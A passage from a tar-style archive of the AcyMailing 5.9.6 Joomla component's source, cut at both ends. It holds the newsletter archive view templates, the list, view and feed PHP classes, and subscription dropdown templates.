			<a title="<?php echo acymailing_translation( 'ACY_PRINT',true ); ?>" href="#" onclick="if(document.getElementById('iframepreview')){document.getElementById('iframepreview').contentWindow.focus();document.getElementById('iframepreview').contentWindow.print();}else{window.print();}return false;"><?php echo $printimage; ?></a>

			</td>
		<?php } ?>
			</tr></table>
		</div>
		<?php } ?>
	</div>
	<div class="newsletter_body" style="min-width:80%" id="newsletter_preview_area"><?php echo $this->mail->html ? $this->mail->body : nl2br($this->mail->altbody); ?></div>
	<?php if(!empty($this->mail->attachments)){?>
	<fieldset class="newsletter_attachments"><legend><?php echo acymailing_translation( 'ATTACHMENTS' ); ?></legend>
	<table>
		<?php foreach($this->mail->attachments as $attachment){
				echo '<tr><td><a href="'.$attachment->url.'" target="_blank">'.$attachment->name.'</a></td></tr>';
		}?>
	</table>
	</fieldset>
	<?php }
		if($this->config->get('comments_feature') == 'jcomments'){
			$comments = ACYMAILING_ROOT.'components'.DS.'com_jcomments'.DS.'jcomments.php';
			if (file_exists($comments)) {
				require_once($comments);
				echo JComments::showComments($this->mail->mailid, 'com_acymailing', $this->mail->subject);
			}
		}elseif($this->config->get('comments_feature') == 'jomcomment'){
			$comments = ACYMAILING_ROOT.'plugins'.DS.'content'.DS.'jom_comment_bot.php';
			if (file_exists($comments)) {
				require_once($comments);
				echo jomcomment($this->mail->mailid, 'com_acymailing');
			}
		}elseif($this->config->get('comments_feature') == 'disqus'){
			$disqus_shortname = $this->config->get('disqus_shortname');
			if(!empty($disqus_shortname))
			{

				$lang_shortcode = explode('-', acymailing_getLanguageTag());
	?>
				<div style="clear:both;"></div><div id="disqus_thread"></div>
				<script type="text/javascript">
					var disqus_identifier = "Joomla_Disqus_MAILID_<?php echo $this->mail->mailid; ?>";
					var disqus_shortname = "<?php echo $disqus_shortname; ?>";
					var disqus_config = function() {
						this.language = "<?php echo $lang_shortcode[0]; ?>";
					};
					(function() {
						var dsq = document.createElement("script"); dsq.type = "text/javascript"; dsq.async = true;
						dsq.src = "http://" + disqus_shortname + ".disqus.com/embed.js";
						(document.getElementsByTagName("head")[0] || document.getElementsByTagName("body")[0]).appendChild(dsq);
					})();
				</script>
				<noscript>Please enable JavaScript to view the <a href="http://disqus.com/?ref_noscript">comments powered by Disqus.</a></noscript>
	<?php
			}
		}elseif($this->config->get('comments_feature') == 'rscomments'){
			echo '{rscomments option="com_acymailing" id="'.$this->mail->mailid.'"}';
		}elseif($this->config->get('comments_feature') == 'komento'){
			require_once(ACYMAILING_ROOT.'components'.DS.'com_komento'.DS.'bootstrap.php' );
			echo Komento::commentify('com_acymailing', $this->mail, array());
		}
	?>
</div>
com_acymailing/views/archive/tmpl/view.xml000060400000001112152453734450014750 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="Latest Newsletter">
		<message>Display the latest published and visible Newsletter from the selected list</message>
	</layout>
	<state>
		<name>Latest Newsletter</name>
		<params addpath="/components/com_acymailing/params">
			<param name="listid" type="listid" label="List" description="" />
		</params>
	</state>
	<fields name="params" addfieldpath="/components/com_acymailing/params">
		<fieldset name="basic">
			<field name="listid" type="listid" label="List" description="" />
		</fieldset>
	</fields>
</metadata>
com_acymailing/views/archive/tmpl/index.html000060400000000054152453734450015255 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/archive/tmpl/listing.xml000060400000001240152453734450015451 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="Mailing List Archive (Single)">
		<message>Display the name and description of the selected List and a listing of Newsletters belonging to this list.</message>
	</layout>
	<state>
		<name>Mailing List Archive (Single)</name>
		<params addpath="/components/com_acymailing/params">
			<param name="listid" type="listid" label="List" description="" menu="archive" />
		</params>
	</state>
	<fields name="params" addfieldpath="/components/com_acymailing/params">
		<fieldset name="basic">
			<field name="listid" type="listid" label="List" description="" menu="archive" />
		</fieldset>
	</fields>
</metadata>
com_acymailing/views/archive/tmpl/listing.php000060400000006631152453734450015451 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acyarchivelisting">
	<?php if($this->values->show_page_heading){ ?>
	<h1 class="contentheading<?php echo $this->values->suffix; ?>"><?php echo $this->values->page_heading; ?></h1>
	<?php } ?>
	<form action="<?php echo acymailing_completeLink('archive&listid='.$this->list->listid); ?>" method="post" name="adminForm" id="adminForm" >
		<table style="width:100%" cellpadding="0" cellspacing="0" border="0" align="center" class="contentpane<?php echo $this->values->suffix; ?>">
		<?php if($this->values->show_description){ ?>
			<tr>
				<td class="contentdescription<?php echo $this->values->suffix; ?>" >
					<?php echo $this->list->description; ?>
				</td>
			</tr>
		<?php } ?>
			<tr>
				<td>
				<?php
					if(!empty($this->manageableLists)){
				?>
					<p class="acynewbutton"><a class="btn" href="<?php echo acymailing_completeLink('frontnewsletter&task=add&listid='.$this->list->listid); ?>" title="<?php echo acymailing_translation('CREATE_NEWSLETTER',true); ?>" ><img src="<?php echo ACYMAILING_IMAGES; ?>icons/icon-16-add.png" alt="<?php echo acymailing_translation('CREATE_NEWSLETTER',true); ?>" /> <?php echo acymailing_translation('CREATE_NEWSLETTER'); ?></a></p>
				<?php } ?>
					<?php echo $this->loadTemplate('newsletters'); ?>
					<?php if(!empty($this->values->itemid)){ ?>
						<input type="hidden" name="Itemid" value=<?php echo $this->values->itemid; ?> />
					<?php } ?>
					<input type="hidden" name="nbreceiveemail" value="0" />
				</td>
			</tr>
		</table>
	
		<?php if($this->values->show_receiveemail){ ?>
			<div id="receiveemailbox" class="receiveemailbox receiveemailbox_hidden">
				<fieldset class="acymailing_receiveemail">
				<legend><?php echo acymailing_translation('SEND_SELECT_NEWS'); ?></legend>
					<table>
						<tr>
							<td>
								<label for="forwardname"><?php echo acymailing_translation('JOOMEXT_NAME'); ?></label>
							</td>
							<td>
								<input id="forwardname" type="text" class="inputbox required" name="name" value="" style="width:100px"/>
							</td>
						</tr>
						<tr>
							<td>
								<label for="forwardemail"><?php echo acymailing_translation('JOOMEXT_EMAIL'); ?></label>
							</td>
							<td>
								<input id="forwardemail" type="text" class="inputbox required" name="email" value="" style="width:100px"/>
							</td>
						</tr>
						<tr>
							<?php
								$captchaClass = acymailing_get('class.acycaptcha');
								$captchaClass->display();
							?>
						</tr>
					</table>
					<button class="btn btn-primary" type="submit"/><?php echo acymailing_translation('SEND'); ?></button>
					<?php acymailing_formOptions($this->pageInfo->filter->order, 'sendarchive'); ?>
				</fieldset>
			</div>
	
		<?php }
			if(!empty($this->manageableLists)){
		?>
			<p class="acynewbutton"><a class="btn" href="<?php echo acymailing_completeLink('frontnewsletter&task=add&listid='.$this->list->listid); ?>" title="<?php echo acymailing_translation('CREATE_NEWSLETTER',true); ?>" ><img src="<?php echo ACYMAILING_IMAGES; ?>icons/icon-16-add.png" alt="<?php echo acymailing_translation('CREATE_NEWSLETTER',true); ?>" /> <?php echo acymailing_translation('CREATE_NEWSLETTER'); ?></a></p>
		<?php } ?>
	</form>
</div>
com_acymailing/views/archive/view.html.php000060400000045635152453734450014750 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php


class archiveViewArchive extends acymailingView{
	function display($tpl = null){
		$function = $this->getLayout();
		if(method_exists($this, $function)) $this->$function();

		parent::display($tpl);
	}

	function forward(){
		$subkeys = acymailing_getVar('string', 'subid', acymailing_getVar('string', 'sub'));
		if(!empty($subkeys)){
			$subid = intval(substr($subkeys, 0, strpos($subkeys, '-')));
			$subkey = substr($subkeys, strpos($subkeys, '-') + 1);
			$receiver = acymailing_loadObject('SELECT * FROM '.acymailing_table('subscriber').' WHERE `subid` = '.intval($subid).' AND `key` = '.acymailing_escapeDB($subkey).' LIMIT 1');
		}
		$currentEmail = acymailing_currentUserEmail();
		if(empty($receiver) AND !empty($currentEmail)){
			$userClass = acymailing_get('class.subscriber');
			$receiver = $userClass->get($currentEmail);
		}
		if(empty($receiver)){
			$receiver = new stdClass();
			$receiver->name = '';
			$receiver->email = '';
		}
		$this->senderName = $receiver->name;
		$this->senderMail = $receiver->email;
		$config = acymailing_config();
		$this->config = $config;

		$js = 'var numForwarders = 1;function addLine(){
							if(numForwarders > 4) return;
							var myTable = window.document.getElementById("friend_table");
							var line1 = document.createElement("tr");
							var tdname = document.createElement("td");
							var itdname = document.createElement("td");
							var line2 = document.createElement("tr");
							var tdemail = document.createElement("td");
							var itdemail = document.createElement("td");

							var inputName = document.createElement("input");
							inputName.type = \'text\';
							inputName.name = \'forwardusers[\'+numForwarders+\'][name]\';
							inputName.style.width = "200px";

							var inputEmail = document.createElement("input");
							inputEmail.type = \'text\';
							inputEmail.name = \'forwardusers[\'+numForwarders+\'][email]\';
							inputEmail.style.width = "200px";

							var nameLabel = document.createElement("label");
							nameLabel.innerHTML="'.acymailing_translation('FRIEND_NAME', true).'";

							var emailLabel = document.createElement("label");
							emailLabel.innerHTML="'.acymailing_translation('FRIEND_EMAIL', true).'";

							tdname.appendChild(nameLabel);
							itdname.appendChild(inputName);
							line1.appendChild(tdname);
							line1.appendChild(itdname);
							myTable.appendChild(line1);

							tdemail.appendChild(emailLabel);
							itdemail.appendChild(inputEmail);
							line2.appendChild(tdemail);
							line2.appendChild(itdemail);
							myTable.appendChild(line2);
							numForwarders++;
			}
';

		acymailing_addScript(true, $js);
		return $this->view();
	}

	private function addFeed(){

		$config = acymailing_config();
		$feedType = $config->get('acyrss_format', '');

		if(empty($feedType)) return;

		$document = JFactory::getDocument();

		$link = '&format=feed&limitstart=';
		if($feedType == 'rss' || $feedType == 'both'){
			$attribs = array('type' => 'application/rss+xml', 'title' => 'RSS 2.0');
			$document->addHeadLink(acymailing_route($link.'&type=rss'), 'alternate', 'rel', $attribs);
		}
		if($feedType == 'atom' || $feedType == 'both'){
			$attribs = array('type' => 'application/atom+xml', 'title' => 'Atom 1.0');
			$document->addHeadLink(acymailing_route($link.'&type=atom'), 'alternate', 'rel', $attribs);
		}
	}

	function listing(){
		global $Itemid;

		$values = new stdClass();
		$menu = acymailing_getMenu();

		$myItem = empty($Itemid) ? '' : '&Itemid='.$Itemid;
		$this->item = $myItem;

		if(is_object($menu)){
			$menuparams = new acyParameter($menu->params);
		}

		$pageInfo = new stdClass();
		$pageInfo->filter = new stdClass();
		$pageInfo->filter->order = new stdClass();
		$pageInfo->limit = new stdClass();
		$pageInfo->elements = new stdClass();

		$paramBase = ACYMAILING_COMPONENT.'.'.$this->getName();
		$pageInfo->filter->order->dir = acymailing_getUserVar($paramBase.".ordering_dir", 'ordering_dir', 'DESC', 'word');
		$pageInfo->filter->order->value = acymailing_getUserVar($paramBase.".ordering", 'ordering', 'senddate', 'cmd');
		if(strtolower($pageInfo->filter->order->dir) !== 'desc') $pageInfo->filter->order->dir = 'asc';
		$pageInfo->search = acymailing_getUserVar($paramBase.".search", 'search', '', 'string');
		$pageInfo->search = strtolower(trim($pageInfo->search));

		$pageInfo->limit->value = acymailing_getUserVar($paramBase.'.list_limit', 'limit', acymailing_getCMSConfig('list_limit'), 'int');
		$pageInfo->limit->start = acymailing_getVar('int', 'limitstart', 0);

		$listClass = acymailing_get('class.list');
		$listid = acymailing_getCID('listid');

		if(empty($listid) && !empty($menuparams)){
			$listid = $menuparams->get('listid');
		}

		$currentUserid = acymailing_currentUserId();
		if(empty($listid)){
			$allLists = $listClass->getLists('listid');
		}else{
			$oneList = $listClass->get($listid);
			if(empty($oneList->listid)) return acymailing_raiseError(E_ERROR, 404, 'Mailing List not found : '.$listid);
			$allLists = array($oneList->listid => $oneList);
			if($oneList->access_sub != 'all' && ($oneList->access_sub == 'none' || empty($currentUserid) || !acymailing_isAllowed($oneList->access_sub))) $allLists = array();
		}

		if(empty($allLists)){
			if(empty($currentUserid)){
				acymailing_askLog();
			}else{
				acymailing_enqueueMessage(acymailing_translation('ACY_NOTALLOWED'), 'error');
				acymailing_redirect(acymailing_completeLink('lists', false, true));
			}
			return false;
		}

		$config = acymailing_config();

		if(!empty($menuparams)){
			$values->suffix = $menuparams->get('pageclass_sfx', '');
			$values->page_title = $menuparams->get('page_title');
			$values->page_heading = ACYMAILING_J16 ? $menuparams->get('page_heading') : $menuparams->get('page_title');
			$values->show_page_heading = ACYMAILING_J16 ? $menuparams->get('show_page_heading', 1) : $menuparams->get('show_page_title', 1);
		}else{
			$values->suffix = '';
			$values->show_page_heading = 1;
		}

		$values->show_description = $config->get('show_description', 1);
		$values->show_senddate = $config->get('show_senddate', 1);
		$values->show_receiveemail = $config->get('show_receiveemail', 0) && acymailing_level(1);
		$values->filter = $config->get('show_filter', 1);

		if(empty($values->page_title)) $values->page_title = (count($allLists) > 1 || empty($listid)) ? acymailing_translation('NEWSLETTERS') : $allLists[$listid]->name;
		if(empty($values->page_heading)) $values->page_heading = (count($allLists) > 1 || empty($listid)) ? acymailing_translation('NEWSLETTERS') : $allLists[$listid]->name;

		if(empty($menuparams)){
			acymailing_addBreadcrumb(acymailing_translation('MAILING_LISTS'), acymailing_completeLink('lists'));
			acymailing_addBreadcrumb($values->page_title);
		}elseif(!$menuparams->get('listid')){
			acymailing_addBreadcrumb($values->page_title);
		}

		acymailing_setPageTitle($values->page_title);

		$this->addFeed();

		$searchMap = array('a.mailid', 'a.subject', 'a.alias', 'a.body');
		$filters = array();
		if(!empty($pageInfo->search)){
			$searchVal = '\'%'.acymailing_getEscaped($pageInfo->search, true).'%\'';
			$filters[] = implode(" LIKE $searchVal OR ", $searchMap)." LIKE $searchVal";
		}

		$filters[] = 'a.type = \'news\'';

		$noManageableLists = array();
		$currentUserid = acymailing_currentUserId();
		foreach($allLists as &$oneList){
			if(empty($currentUserid)) $noManageableLists[] = $oneList->listid;
			if((int)acymailing_currentUserId() == (int)$oneList->userid) continue;
			if($oneList->access_manage == 'all' || acymailing_isAllowed($oneList->access_manage)) continue;
			$noManageableLists[] = $oneList->listid;
		}

		$accessFilter = '';
		$manageableLists = array_diff(array_keys($allLists), $noManageableLists);
		if(!empty($manageableLists)) $accessFilter = 'c.listid IN ('.implode(',', $manageableLists).')';
		if(!empty($noManageableLists)){
			if(empty($accessFilter)){
				$accessFilter = 'c.listid IN ('.implode(',', $noManageableLists).') AND a.published = 1 AND a.visible = 1';
			}else $accessFilter .= ' OR (c.listid IN ('.implode(',', $noManageableLists).') AND a.published = 1 AND a.visible = 1)';
		}
		if(!empty($accessFilter)) $filters[] = $accessFilter;

		$selection = array_merge($searchMap, array('a.senddate', 'a.created', 'a.visible', 'a.published', 'a.fromname', 'a.fromemail', 'a.replyname', 'a.replyemail', 'a.userid', 'a.summary', 'a.thumb', 'c.listid'));

		$query = 'SELECT "" AS body, "" AS altbody, html AS sendHTML, '.implode(',', $selection);
		$query .= ' FROM '.acymailing_table('listmail').' as c';
		$query .= ' JOIN '.acymailing_table('mail').' as a on a.mailid = c.mailid ';
		$query .= ' WHERE ('.implode(') AND (', $filters).')';
		$query .= ' GROUP BY c.mailid';
		$query .= ' ORDER BY a.'.acymailing_secureField($pageInfo->filter->order->value).' '.acymailing_secureField($pageInfo->filter->order->dir).', c.mailid DESC';

		$rows = acymailing_loadObjectList($query, '', $pageInfo->limit->start, $pageInfo->limit->value);
		$pageInfo->elements->page = count($rows);

		if($pageInfo->limit->value > $pageInfo->elements->page){
			$pageInfo->elements->total = $pageInfo->limit->start + $pageInfo->elements->page;
		}else{
			$queryCount = 'SELECT COUNT(DISTINCT c.mailid) FROM '.acymailing_table('listmail').' as c';
			$queryCount .= ' JOIN '.acymailing_table('mail').' as a on a.mailid = c.mailid ';
			$queryCount .= ' WHERE ('.implode(') AND (', $filters).')';
			$pageInfo->elements->total = acymailing_loadResult($queryCount);
		}

		$currentEmail = acymailing_currentUserEmail();
		if(!empty($currentEmail)){
			$userClass = acymailing_get('class.subscriber');
			$receiver = $userClass->get($currentEmail);
		}
		if(empty($receiver)){
			$receiver = new stdClass();
			$receiver->name = acymailing_translation('VISITOR');
		}
		acymailing_importPlugin('acymailing');
		foreach($rows as $mail){
			if(strpos($mail->subject, "{") !== false){
				acymailing_trigger('acymailing_replacetags', array(&$mail, false));
				acymailing_trigger('acymailing_replaceusertags', array(&$mail, &$receiver, false));
			}
		}

		$pagination = new acyPagination($pageInfo->elements->total, $pageInfo->limit->start, $pageInfo->limit->value);

		$js = 'function changeReceiveEmail(checkedbox){
			var form = document.adminForm;
			if(checkedbox){
				form.nbreceiveemail.value++;
			}else{
				form.nbreceiveemail.value--;
			}

			if(form.nbreceiveemail.value > 0 ){
				document.getElementById(\'receiveemailbox\').className = \'receiveemailbox receiveemailbox_visible\';
			}else{
				document.getElementById(\'receiveemailbox\').className = \'receiveemailbox receiveemailbox_hidden\';
			}
		}
		';

		acymailing_addScript(true, $js);
		if(!empty($menuparams)) {
			$data = $menuparams->get("data", 1);
			if(!empty($data->{"menu-meta_description"})) acymailing_addMetadata('description', $data->{"menu-meta_description"});
			if(!empty($data->{"menu-meta_keywords"})) acymailing_addMetadata('keywords', $data->{"menu-meta_keywords"});
		}

		$orderValues = array();
		$orderValues[] = acymailing_selectOption('senddate', acymailing_translation('SEND_DATE'));
		$orderValues[] = acymailing_selectOption('subject', acymailing_translation('JOOMEXT_SUBJECT'));
		$orderValues[] = acymailing_selectOption('created', acymailing_translation('CREATED_DATE'));
		$orderValues[] = acymailing_selectOption('mailid', acymailing_translation('ACY_ID'));

		$ordering = '';
		if($config->get('show_order', 1) == 1){
			$ordering = '<span style="float:right;" id="orderingoption">';
			$ordering .= acymailing_select($orderValues, 'ordering', 'size="1" style="width:100px;" onchange="this.form.submit();"', 'value', 'text', $pageInfo->filter->order->value);

			$orderDir = array();
			$orderDir[] = acymailing_selectOption('ASC', acymailing_translation('ACY_ASC'));
			$orderDir[] = acymailing_selectOption('DESC', acymailing_translation('ACY_DESC'));
			$ordering .= ' '.acymailing_select($orderDir, 'ordering_dir', 'size="1" style="width:75px;" onchange="this.form.submit();"', 'value', 'text', $pageInfo->filter->order->dir);
			$ordering .= '</span>';
		}

		$this->ordering = $ordering;
		$this->rows = $rows;
		$this->values = $values;
		if(count($allLists) > 1){
			$list = new stdClass();
			$list->listid = 0;
			$list->description = '';
		}else{
			$list = array_pop($allLists);
		}
		$this->list = $list;
		$this->manageableLists = $manageableLists;
		$this->pagination = $pagination;
		$this->pageInfo = $pageInfo;
		$this->config = $config;
	}

	function view(){
		$this->addFeed();

		$frontEndManagement = false;
		$listid = acymailing_getCID('listid');

		$values = new stdClass();
		$values->suffix = '';
		$menu = acymailing_getMenu();

		if(is_object($menu)){
			$menuparams = new acyParameter($menu->params);
		}

		if(!empty($menuparams)){
			$values->suffix = $menuparams->get('pageclass_sfx', '');
		}

		if(empty($listid) && !empty($menuparams)){
			$listid = $menuparams->get('listid');
			if($menuparams->get('menu-meta_description')) acymailing_addMetadata('description', $menuparams->get('menu-meta_description'));
			if($menuparams->get('menu-meta_keywords')) acymailing_addMetadata('keywords', $menuparams->get('menu-meta_keywords'));
			if($menuparams->get('robots')) acymailing_addMetadata('robots', $menuparams->get('robots'));
			if($menuparams->get('page_title')) acymailing_setPageTitle($menuparams->get('page_title'));
		}

		$config = acymailing_config();
		$indexFollow = $config->get('indexFollow', '');
		$tagIndFol = array();
		if(strpos($indexFollow, 'noindex') !== false) $tagIndFol[] = 'noindex';
		if(strpos($indexFollow, 'nofollow') !== false) $tagIndFol[] = 'nofollow';
		if(!empty($tagIndFol)) acymailing_addMetadata('robots', implode(',', $tagIndFol));

		if(!empty($listid)){
			$listClass = acymailing_get('class.list');
			$oneList = $listClass->get($listid);
			if(!empty($oneList->visible) && $oneList->published && (empty($menuparams) || !$menuparams->get('listid'))){
				acymailing_addBreadcrumb($oneList->name, acymailing_completeLink('archive&listid='.$oneList->listid.':'.$oneList->alias));
			}

			$currentUserid = acymailing_currentUserId();
			if(!empty($oneList->listid) && acymailing_level(3)){
				if(!empty($currentUserid) && $currentUserid == (int)$oneList->userid){
					$frontEndManagement = true;
				}
				if(!empty($currentUserid)){
					if($oneList->access_manage == 'all' || acymailing_isAllowed($oneList->access_manage)){
						$frontEndManagement = true;
					}
				}
			}
		}

		$mailid = acymailing_getVar('string', 'mailid', 'nomailid');
		if(empty($mailid)){
			die('This is a Newsletter-template... and you can not access the online version of a Newsletter-template!<br />Please create a Newsletter using your template and then try again your "view it online" link!');
			exit;
		}

		if($mailid == 'nomailid'){
			$query = 'SELECT m.`mailid` FROM `#__acymailing_list` as l JOIN `#__acymailing_listmail` as lm ON l.listid=lm.listid JOIN `#__acymailing_mail` as m on lm.mailid = m.mailid';
			$query .= ' WHERE l.`visible` = 1 AND l.`published` = 1 AND m.`visible`= 1 AND m.`published` = 1 AND m.`type` = "news" AND l.`type` = "list"';
			if(!empty($listid)) $query .= ' AND l.`listid` = '.(int)$listid;
			$query .= ' ORDER BY m.`senddate` DESC, m.`mailid` DESC LIMIT 1';
			$mailid = acymailing_loadResult($query);
		}
		$mailid = intval($mailid);
		if(empty($mailid)) return acymailing_raiseError(E_ERROR, 404, 'Newsletter not found');

		$access_sub = true;

		$mailClass = acymailing_get('helper.mailer');
		$mailClass->loadedToSend = false;
		$oneMail = $mailClass->load($mailid);

		if(empty($oneMail->mailid)){
			return acymailing_raiseError(E_ERROR, 404, 'Newsletter not found : '.$mailid);
		}

		if(!$frontEndManagement AND (!$access_sub OR !$oneMail->published OR !$oneMail->visible)){
			$key = acymailing_getVar('cmd', 'key');
			if(empty($key) OR $key !== $oneMail->key){
				$reason = (!$oneMail->published) ? 'Newsletter not published' : (!$oneMail->visible ? 'Newsletter not visible' : (!$access_sub ? 'Access not allowed' : ''));
				acymailing_enqueueMessage('You can not have access to this e-mail : '.$reason, 'error');
				acymailing_redirect(acymailing_completeLink('lists', false, true));
				return false;
			}
		}

		$fshare = '';
		if(preg_match('#<img[^>]*id="pictshare"[^>]*>#i', $oneMail->body, $pregres) && preg_match('#src="([^"]*)"#i', $pregres[0], $pict)){
			$fshare = $pict[1];
		}elseif(preg_match('#<img[^>]*class="[^"]*pictshare[^"]*"[^>]*>#i', $oneMail->body, $pregres) && preg_match('#src="([^"]*)"#i', $pregres[0], $pict)){
			$fshare = $pict[1];
		}elseif(preg_match('#class="acymailing_content".*(<img[^>]*>)#is', $oneMail->body, $pregres) && preg_match('#src="([^"]*)"#i', $pregres[1], $pict)){
			if(strpos($pregres[1], acymailing_translation('JOOMEXT_READ_MORE')) === false) $fshare = $pict[1];
		}

		if(!empty($fshare)){
			acymailing_addMetadata('og:image', $fshare);
		}

		acymailing_addMetadata('og:url', acymailing_frontendLink('archive&task=view&mailid='.$oneMail->mailid, false, acymailing_isNoTemplate(), true));
		acymailing_addMetadata('og:title', $oneMail->subject);
		if(!empty($oneMail->metadesc)) acymailing_addMetadata('og:description', $oneMail->metadesc);

		$subkeys = acymailing_getVar('string', 'subid', acymailing_getVar('string', 'sub'));
		if(!empty($subkeys)){
			$subid = intval(substr($subkeys, 0, strpos($subkeys, '-')));
			$subkey = substr($subkeys, strpos($subkeys, '-') + 1);
			$receiver = acymailing_loadObject('SELECT * FROM '.acymailing_table('subscriber').' WHERE `subid` = '.acymailing_escapeDB($subid).' AND `key` = '.acymailing_escapeDB($subkey).' LIMIT 1');
		}

		$currentEmail = acymailing_currentUserEmail();
		if(empty($receiver) AND !empty($currentEmail)){
			$userClass = acymailing_get('class.subscriber');
			$receiver = $userClass->get($currentEmail);
		}

		if(empty($receiver)){
			$receiver = new stdClass();
			$receiver->name = acymailing_translation('VISITOR');
		}

		$oneMail->sendHTML = true;
		acymailing_trigger('acymailing_replaceusertags', array(&$oneMail, &$receiver, false));

		acymailing_addBreadcrumb($oneMail->subject);

		preg_match('@href="{unsubscribe:(.*)}"@', $oneMail->body, $match);//we get the tag unsubscribe
		if(!empty($match)){
			$oneMail->body = str_replace($match[0], 'href="'.$match[1].'"', $oneMail->body);
		}

		acymailing_setPageTitle($oneMail->subject);

		if(!empty($oneMail->metadesc)){
			acymailing_addMetadata('description', $oneMail->metadesc);
		}
		if(!empty($oneMail->metakey)){
			acymailing_addMetadata('keywords', $oneMail->metakey);
		}

		$this->mail = $oneMail;
		$this->frontEndManagement = $frontEndManagement;
		$config = acymailing_config();
		$this->config = $config;
		$this->receiver = $receiver;
		$this->values = $values;

		if($oneMail->html){
			$templateClass = acymailing_get('class.template');
			$templateClass->archiveSection = true;
			$templateClass->displayPreview('newsletter_preview_area', $oneMail->tempid, $oneMail->subject);
		}
	}
}
com_acymailing/views/archive/view.feed.php000060400000005730152453734450014677 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

jimport( 'joomla.application.component.view');
class archiveViewArchive extends acymailingView
{
	function display($tpl = null){
		$doc	= JFactory::getDocument();
		$menu = acymailing_getMenu();
		if (is_object( $menu )) {
			$menuparams = new acyParameter( $menu->params );
		}
 		$listid = acymailing_getCID('listid');
			if(empty($listid) AND !empty($menuparams)){
				$listid = $menuparams->get('listid');
			}
		$doc->link = acymailing_completeLink('archive&listid='.intval($listid));
		 $listClass = acymailing_get('class.list');
 		if(empty($listid)){
				return acymailing_raiseError(E_ERROR,  404, 'Mailing List not found' );
			}
			$oneList = $listClass->get($listid);
			if(empty($oneList->listid)){
				return acymailing_raiseError(E_ERROR,  404, 'Mailing List not found : '.$listid );
			}
			if(!acymailing_isAllowed($oneList->access_sub) || !$oneList->published || !$oneList->visible){
				return acymailing_raiseError(E_ERROR,  404, acymailing_translation('ACY_NOTALLOWED') );
			}

		$config = acymailing_config();
		$filters = array();
		$filters[] = 'a.type = \'news\'';
		$filters[] = 'a.published = 1';
		$filters[] = 'a.visible = 1';
		$filters[] = 'c.listid = '.$oneList->listid;
		$query = 'SELECT a.*';
		$query .= ' FROM '.acymailing_table('listmail').' as c';
		$query .= ' LEFT JOIN '.acymailing_table('mail').' as a on a.mailid = c.mailid ';
		$query .= ' WHERE ('.implode(') AND (',$filters).')';
		$query .= ' ORDER BY a.'.$config->get('acyrss_order','senddate').' '.($config->get('acyrss_order','senddate') == 'subject' ? 'ASC' : 'DESC');
		$query .= ' LIMIT '.$config->get('acyrss_element','20');
		$rows = acymailing_loadObjectList($query);
		$doc->title = $config->get('acyrss_name','');
		$doc->description = $config->get('acyrss_description','');

		$receiver = new stdClass();
		$receiver->name = acymailing_translation('VISITOR');
		$receiver->subid = 0;

		$mailClass = acymailing_get('helper.mailer');

		foreach ( $rows as $row )
		{
			$mailClass->loadedToSend = false;
			$oneMail = $mailClass->load($row->mailid);
			$oneMail->sendHTML = true;
			acymailing_trigger('acymailing_replaceusertags', array(&$oneMail, &$receiver, false));
			$title = $this->escape( $oneMail->subject );
			$title = html_entity_decode( $title );
			$link = acymailing_route('index.php?option=com_acymailing&amp;ctrl=archive&amp;task=view&amp;listid='.$oneList->listid.'-'.$oneList->alias.'&amp;mailid='.$row->mailid.'-'.$row->alias);

			$author			= $oneMail->userid;
			$item = new JFeedItem();
			$item->title 		= $title;
			$item->link 		= $link;
			$item->description 	= $oneMail->body;
			$item->date			= $oneMail->created;
			$item->category   	= $oneMail->type;
			$item->author		= $author;

			$doc->addItem( $item );
		}
	}
}

com_acymailing/views/archive/index.html000060400000000054152453734450014301 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/index.html000060400000000054152453734450012660 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/user/tmpl/saveunsub.xml000060400000000130152453734450015345 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout hidden="true" />
</metadata>
com_acymailing/views/user/tmpl/saveunsub.php000060400000000412152453734450015337 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?>
com_acymailing/views/user/tmpl/subs_dropdown.php000060400000002710152453734450016217 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acyusersubscription">
  <?php
  $k = 0;
  $selectedIndex = '';
  foreach($this->subscription as $key => $row) {
    if(empty($row->published) OR !$row->visible) continue;

    $value = 0;
    $dropdownOpts[] = acymailing_selectOption($row->listid, $row->name);
    if($row->status == 1) {
      $value = 1;
      $selectedIndex = $k;
    }
    echo '<input type="hidden" class="listsub-dropdown" name="data[listsub]['.$row->listid.'][status]" value="'.$value.'">';

    $k++;
  }

  $dropdown = acymailing_select($dropdownOpts, 'data[listsubdropdown]', 'onchange="setSubsDropdown()"', 'value', 'text', $selectedIndex);
  echo $dropdown;
  ?>
</div>
<script type="text/javascript">
  function setSubsDropdown() {
    var dropdown = document.getElementById('datalistsubdropdown');
    var selectedOption = dropdown.options[dropdown.selectedIndex];
    var selectedListId = selectedOption.value;

